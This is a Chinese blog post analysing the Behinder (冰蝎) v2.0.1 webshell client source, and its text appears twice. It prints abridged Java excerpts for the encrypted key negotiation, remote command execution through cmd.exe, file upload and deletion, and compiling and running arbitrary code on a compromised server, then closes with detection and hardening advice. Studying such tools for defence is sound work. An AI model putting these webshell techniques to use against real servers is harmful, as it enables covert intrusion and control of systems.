冰蝎v2.0.1核心部分源码浅析
字数 1548 2025-08-22 12:23:36

冰蝎v2.0.1核心部分源码分析与技术解析

0x01 为什么要分析冰蝎

冰蝎是一种新型的木马连接工具,具有以下特点:

  • 功能强大:获取服务器信息、执行系统命令、文件管理、数据库管理、反弹meterpreter、执行自定义代码等
  • 流量加密:与菜刀、蚁剑相比,加密了通信流量
  • 检测困难:仅在初始上传和密钥协商阶段可能被检测,连接建立后WAF/IDS/IPS难以识别

0x02 整体架构

冰蝎的工作流程:

  1. 客户端请求服务端
  2. 服务端生成128位随机数写入session并返回
  3. 客户端重复获取key直到满足特定条件
  4. 确定最终key并保存响应报文中的set-cookie值
  5. 后续通信使用该key和cookie进行加密传输

0x03 密钥协商机制 getKeyAndCookie

密钥协商流程

  1. 客户端调用BasicInfoUtils.getBasicInfo()
  2. 创建ShellService实例
  3. 调用Utils.getKeyAndCookie()方法

关键代码分析

public static Map<String, String> getKeyAndCookie(String getUrl, String password, Map<String, String> requestHeaders) throws Exception {
    // 初始化连接
    URL url = new URL(getUrl + "?" + password + "=" + (new Random()).nextInt(1000));
    HttpURLConnection conn = (HttpURLConnection)url.openConnection();
    
    // 获取初始密钥rawKey_1
    String rawKey_1 = sb.toString();
    
    // 循环获取密钥直到满足条件
    while(true) {
        Map<String, String> KeyAndCookie = getRawKey(getUrl, password, requestHeaders);
        String rawKey_2 = (String)KeyAndCookie.get("key");
        byte[] temp = CipherUtils.bytesXor(rawKey_1.getBytes(), rawKey_2.getBytes());
        
        // 计算start和end索引
        if (end - start == 16) {
            String finalKey = new String(Arrays.copyOfRange(rawKey_2.getBytes(), start, end));
            result.put("key", finalKey);
            return result;
        }
    }
}

密钥协商特点

  1. 服务端木马检查pass参数,连接密码必须为"pass"
  2. 使用多次请求获取密钥,动态控制请求次数
  3. 最终密钥是最后一次获取的rawKey_2的一部分
  4. 设计目的可能是绕过WAF/NIDS的检测特征

0x04 获取服务器基本信息 getBasicInfo

执行流程

  1. 调用ShellService.getBasicInfo()
  2. 使用Utils.getData()加密payload
  3. 通过Utils.requestAndParse()发送请求
  4. 解密并处理返回数据

关键payload分析

BasicInfo类在服务端执行的核心方法:

public boolean equals(Object obj) {
    PageContext page = (PageContext)obj;
    // 获取环境变量和系统属性
    Map<String, String> env = System.getenv();
    Properties props = System.getProperties();
    
    // 获取当前路径和驱动器列表
    String currentPath = (new File("")).getAbsolutePath();
    File[] roots = File.listRoots();
    
    // 构建返回数据
    Map<String, String> entity = new HashMap();
    entity.put("basicInfo", basicInfo.toString());
    entity.put("currentPath", currentPath);
    entity.put("driveList", driveList);
    entity.put("osInfo", osInfo);
    
    // 加密返回数据
    String key = page.getSession().getAttribute("u").toString();
    ServletOutputStream so = page.getResponse().getOutputStream();
    so.write(Encrypt(result.getBytes(), key));
}

数据传输过程

  1. 客户端生成payload字节数组
  2. AES加密+Base64编码
  3. 服务端执行后返回加密数据
  4. 客户端解密+Base64解码显示

0x05 命令执行功能 runCmd

执行流程

  1. CmdUtil调用ShellService.runCmd()
  2. 使用Utils.getData()获取加密payload
  3. 通过Utils.requestAndParse()发送请求
  4. 解密并显示执行结果

关键payload分析

Cmd类在服务端执行的核心方法:

private String RunCMD(String cmd) throws Exception {
    String result = "";
    Process p;
    // 区分Windows和Linux执行命令
    if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
        p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
    } else {
        p = Runtime.getRuntime().exec(cmd);
    }
    
    // 读取命令输出
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
    while((disr = br.readLine()) != null) {
        result = result + disr + "\n";
    }
    return result;
}

0x06 文件管理功能 FileOperation

主要功能

  • 文件列表(list)
  • 文件查看(show)
  • 文件删除(delete)
  • 文件创建(create)
  • 目录创建(createDir)
  • 内容追加(append)
  • 文件下载(download)

关键实现

// 文件列表
private String list(PageContext page) throws Exception {
    File f = new File(path);
    List<Map<String, String>> objArr = new ArrayList();
    if (f.isDirectory()) {
        for (File temp : f.listFiles()) {
            Map<String, String> obj = new HashMap();
            obj.put("type", temp.isDirectory() ? "directory" : "file");
            obj.put("name", temp.getName());
            // 其他文件属性...
            objArr.add(obj);
        }
    }
    return this.buildJsonArray(objArr, true);
}

// 文件上传
private String create(PageContext page) throws Exception {
    FileOutputStream fso = new FileOutputStream(path);
    fso.write((new BASE64Decoder()).decodeBuffer(content)); // Base64解码内容
    fso.close();
    return path + "上传完成,远程文件大小:" + (new File(path)).length();
}

0x07 自定义代码执行 eval

特殊之处

不同于其他功能使用预定义payload,eval功能允许执行用户自定义代码:

public String eval(String sourceCode) throws Exception {
    byte[] payload;
    if (this.currentType.equals("jsp")) {
        // 动态编译用户代码
        payload = Utils.getClassFromSourceCode(sourceCode);
    } else {
        payload = sourceCode.getBytes();
    }
    
    byte[] data = Utils.getEvalData(this.currentKey, this.encryptType, this.currentType, payload);
    Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
    return new String(resultObj.get("data"));
}

动态编译实现

public static byte[] getClassFromSourceCode(String sourceCode) throws Exception {
    // 使用JavaCompiler动态编译源代码
    JavaCompiler jc = ToolProvider.getSystemJavaCompiler();
    StandardJavaFileManager fileManager = jc.getStandardFileManager(null, null, null);
    
    // 编译选项设置为Java 1.6
    List<String> options = new ArrayList();
    options.add("-source");
    options.add("1.6");
    options.add("-target");
    options.add("1.6");
    
    // 执行编译
    CompilationTask cTask = jc.getTask(null, fileManager, collector, options, null, Arrays.asList(javaFileObject));
    boolean result = cTask.call();
    
    // 获取编译后的字节码
    JavaFileObject fileObject = CustomClassloaderJavaFileManager.fileObjects.get(cls);
    return ((MyJavaFileObject)fileObject).getCompiledBytes();
}

0x08 防御与检测建议

检测思路

  1. 初始阶段检测

    • 监控带有特定参数(pass)的请求
    • 识别多次密钥协商请求模式
  2. 流量特征

    • 识别AES加密+Base64编码的数据包
    • 分析POST请求的Content-Type为"application/octet-stream"
  3. 行为检测

    • 监控非常规的文件操作序列
    • 检测动态类加载行为

防御措施

  1. 服务器加固

    • 严格限制上传文件类型和位置
    • 禁用不必要的Java编译功能
  2. 网络防护

    • 部署能识别加密WebShell的WAF
    • 实施严格的出入站流量监控
  3. 日志分析

    • 记录所有文件系统操作
    • 监控异常进程创建行为

技术总结

冰蝎v2.0.1的核心技术特点:

  1. 动态密钥协商机制增强隐蔽性
  2. 所有通信内容AES加密+Base64编码
  3. 使用ASM框架动态修改class文件
  4. 支持多种功能模块的插件式扩展
  5. 提供自定义代码执行能力

理解冰蝎的工作原理对于红队提升渗透能力,蓝队增强防御检测都具有重要意义。

冰蝎v2.0.1核心部分源码分析与技术解析 0x01 为什么要分析冰蝎 冰蝎是一种新型的木马连接工具,具有以下特点: 功能强大:获取服务器信息、执行系统命令、文件管理、数据库管理、反弹meterpreter、执行自定义代码等 流量加密:与菜刀、蚁剑相比,加密了通信流量 检测困难:仅在初始上传和密钥协商阶段可能被检测,连接建立后WAF/IDS/IPS难以识别 0x02 整体架构 冰蝎的工作流程: 客户端请求服务端 服务端生成128位随机数写入session并返回 客户端重复获取key直到满足特定条件 确定最终key并保存响应报文中的set-cookie值 后续通信使用该key和cookie进行加密传输 0x03 密钥协商机制 getKeyAndCookie 密钥协商流程 客户端调用 BasicInfoUtils.getBasicInfo() 创建 ShellService 实例 调用 Utils.getKeyAndCookie() 方法 关键代码分析 密钥协商特点 服务端木马检查pass参数,连接密码必须为"pass" 使用多次请求获取密钥,动态控制请求次数 最终密钥是最后一次获取的rawKey_ 2的一部分 设计目的可能是绕过WAF/NIDS的检测特征 0x04 获取服务器基本信息 getBasicInfo 执行流程 调用 ShellService.getBasicInfo() 使用 Utils.getData() 加密payload 通过 Utils.requestAndParse() 发送请求 解密并处理返回数据 关键payload分析 BasicInfo 类在服务端执行的核心方法: 数据传输过程 客户端生成payload字节数组 AES加密+Base64编码 服务端执行后返回加密数据 客户端解密+Base64解码显示 0x05 命令执行功能 runCmd 执行流程 CmdUtil 调用 ShellService.runCmd() 使用 Utils.getData() 获取加密payload 通过 Utils.requestAndParse() 发送请求 解密并显示执行结果 关键payload分析 Cmd 类在服务端执行的核心方法: 0x06 文件管理功能 FileOperation 主要功能 文件列表(list) 文件查看(show) 文件删除(delete) 文件创建(create) 目录创建(createDir) 内容追加(append) 文件下载(download) 关键实现 0x07 自定义代码执行 eval 特殊之处 不同于其他功能使用预定义payload,eval功能允许执行用户自定义代码: 动态编译实现 0x08 防御与检测建议 检测思路 初始阶段检测 : 监控带有特定参数(pass)的请求 识别多次密钥协商请求模式 流量特征 : 识别AES加密+Base64编码的数据包 分析POST请求的Content-Type为"application/octet-stream" 行为检测 : 监控非常规的文件操作序列 检测动态类加载行为 防御措施 服务器加固 : 严格限制上传文件类型和位置 禁用不必要的Java编译功能 网络防护 : 部署能识别加密WebShell的WAF 实施严格的出入站流量监控 日志分析 : 记录所有文件系统操作 监控异常进程创建行为 技术总结 冰蝎v2.0.1的核心技术特点: 动态密钥协商机制增强隐蔽性 所有通信内容AES加密+Base64编码 使用ASM框架动态修改class文件 支持多种功能模块的插件式扩展 提供自定义代码执行能力 理解冰蝎的工作原理对于红队提升渗透能力,蓝队增强防御检测都具有重要意义。